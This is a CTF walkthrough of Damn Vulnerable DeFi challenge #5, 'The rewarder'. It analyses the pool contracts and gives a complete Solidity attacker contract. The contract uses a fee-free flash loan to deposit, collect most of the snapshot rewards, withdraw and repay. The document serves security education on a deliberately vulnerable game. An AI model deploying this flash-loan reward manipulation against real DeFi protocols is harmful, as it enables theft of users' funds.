Emanuele Ricci
Damn Vulnerable DeFi Challenge #5 Solution — The rewarder
This is Part 5 of the "Let’s play Damn Vulnerable DeFi CTF" series, where I will explain how to solve each challenge.
Damn Vulnerable DeFi is the war game created by @tinchoabbate to learn offensive security of DeFi smart contracts. Throughout numerous challenges, you will build the skills to become a bug hunter or security auditor in the space.
Challenge #5 — The rewarder
There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?
The attacker end goal
We start with zero DVT token, and the end goal of this challenge is to steal all the Pool’s reward, or at least most of them. To do that as the challenge description suggest we have to leverage the lending pool that offer flashloans without fee.
Study the contracts
FlashLoanerPool.sol
This is the Lending pool contract, nothing wrong here. It offers a flashloan function called flashLoan
. It’s a pretty standard function where you specify the amount, it checks to have enough token before sending them to you, execute receiveFlashLoan(uint256)
on the msg.sender
and then check that the sender has repaid the loan.
RewardToken.sol
This is the Reward ERC20 contract. Also here nothing special, when it’s created it set up a couple of roles and only the minter role can mint tokens toward an account. Both the Admin and Minter are the msg.sender
that created the contract.
AccountingToken.sol
Is an ERC20 contract that inherit from OpenZeppelin’s ERC20Snapshot. Directly from the OZ documentation:
This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and total supply at the time are recorded for later access.
This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting. In naive implementations it’s possible to perform a “double spend” attack by reusing the same balance from different accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be used to create an efficient ERC20 forking mechanism.
So basically, AccountingToken
contract allows the TheRewarderPool
contract to manage the amount of DVT token that have been deposited/withdrawn and the snapshot logic.
TheRewarderPool.sol
This is the main contract we are interested into. Let’s dive into it and see what’s going on function by function:
function deposit(uint256 amountToDeposit) external
- check if the amount is > 0
- mint the
AccountingToken
1:1 withDVT
- call
distributeRewards
transfer
frommsg.sender
to this the deposited amount of DVT tokens and check the transfer result
function withdraw(uint256 amountToWithdraw) external
- burn the amount from
AccountingToken
(it’s an ERC20 contract, so it will fail if themsg.sender
has not enough balance deposited) - transfer back the withdrawn DVT to
msg.sender
checking the result of the operation
function isNewRewardsRound() public view returns (bool)
The logic here is pretty simple: return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
It checks if from the last reward distribution time (lastRecordedSnapshotTimestamp
) registered by _recordSnapshot()
has at least passed REWARDS_ROUND_MIN_DURATION
(5 days). Basically, it’s a new round if from the previous distribution has passed at least 5 days.
function distributeRewards() public returns (uint256)
- Check if it’s a new reward round calling
isNewRewardsRound()
(has passed 5 days). If so, call_recordSnapshot()
- Get the total amount of DVT token deposited in the pool on the last snapshot
- Get the amount of DVT token deposited by the user on the pool
- Calculate the amount of reward token to be rewarded to the user based on the percentage of contribution
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
- If he gets some rewards and those rewards are not yet distributed to the user, the contract mint those rewards and send them to the
msg.sender
Ok, now we have a good understanding of the scenario. For the next round, we need to have enough token deposited in the pool to get the vast majority of the rewards. The pool is not checking for how long we have deposited our tokens to distribute a fair amount of token, so we just need to have them deposited for the time had to get the rewards.
Solution code
First we have to create a new Contract because as you can see, only a contract can execute and receive the flash loans.
This temporary contract will:
- Wait for the amount of time needed to start a new round and be able to make the Rewarder Pool trigger the
_recordSnapshot
at deposit time - Check the amount of DVT token we can borrow with a flashloan from the Flashloan Pool
- Flashloan the max amount (we are not paying any fees)
- Deposit all the DVT token we just loaned. The
deposit
function will triggerdistributeRewards
function that will take a snapshot before distributing tokens to our account. Because we are the bigger staker in the pool, we are going to get the vast majority of reward tokens. - Withdraw all the deposited DVT from the pool. We don’t need them anymore because we already got all the rewards needed, and we also need to repay back the loan!
- Repay back the loan to the Lending Pool
- Transfer all the rewards to the attacker
Here’s the code of the Attacker’s contract explained in the section above.
// Do not use this code
// Part of the https://www.damnvulnerabledefi.xyz/ challenge
contract Executor {
FlashLoanerPool flashLoanPool;
TheRewarderPool rewarderPool;
DamnValuableToken liquidityToken;
RewardToken rewardToken;
address owner;
constructor(DamnValuableToken _liquidityToken, FlashLoanerPool _flashLoanPool, TheRewarderPool _rewarderPool, RewardToken _rewardToken) {
owner = msg.sender;
liquidityToken = _liquidityToken;
flashLoanPool = _flashLoanPool;
rewarderPool = _rewarderPool;
rewardToken = _rewardToken;
}
function receiveFlashLoan(uint256 borrowAmount) external {
require(msg.sender == address(flashLoanPool), "only pool");
liquidityToken.approve(address(rewarderPool), borrowAmount);
// theorically depositing DVT call already distribute reward if the next round has already started
rewarderPool.deposit(borrowAmount);
// we can now withdraw everything
rewarderPool.withdraw(borrowAmount);
// we send back the borrowed tocken
bool payedBorrow = liquidityToken.transfer(address(flashLoanPool), borrowAmount);
require(payedBorrow, "Borrow not payed back");
// we transfer the rewarded RewardToken to the contract's owner
uint256 rewardBalance = rewardToken.balanceOf(address(this));
bool rewardSent = rewardToken.transfer(owner, rewardBalance);
require(rewardSent, "Reward not sent back to the contract's owner");
}
function attack() external {
require(msg.sender == owner, "only owner");
uint256 dvtPoolBalance = liquidityToken.balanceOf(address(flashLoanPool));
flashLoanPool.flashLoan(dvtPoolBalance);
}
}
You can find the full solution on GitHub, looking at TheRewarderTest.t.sol
If you want to try yourself locally, just execute forge test --match-contract TheRewarderTest -vv
Disclaimer
All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
DO NOT USE IN PRODUCTION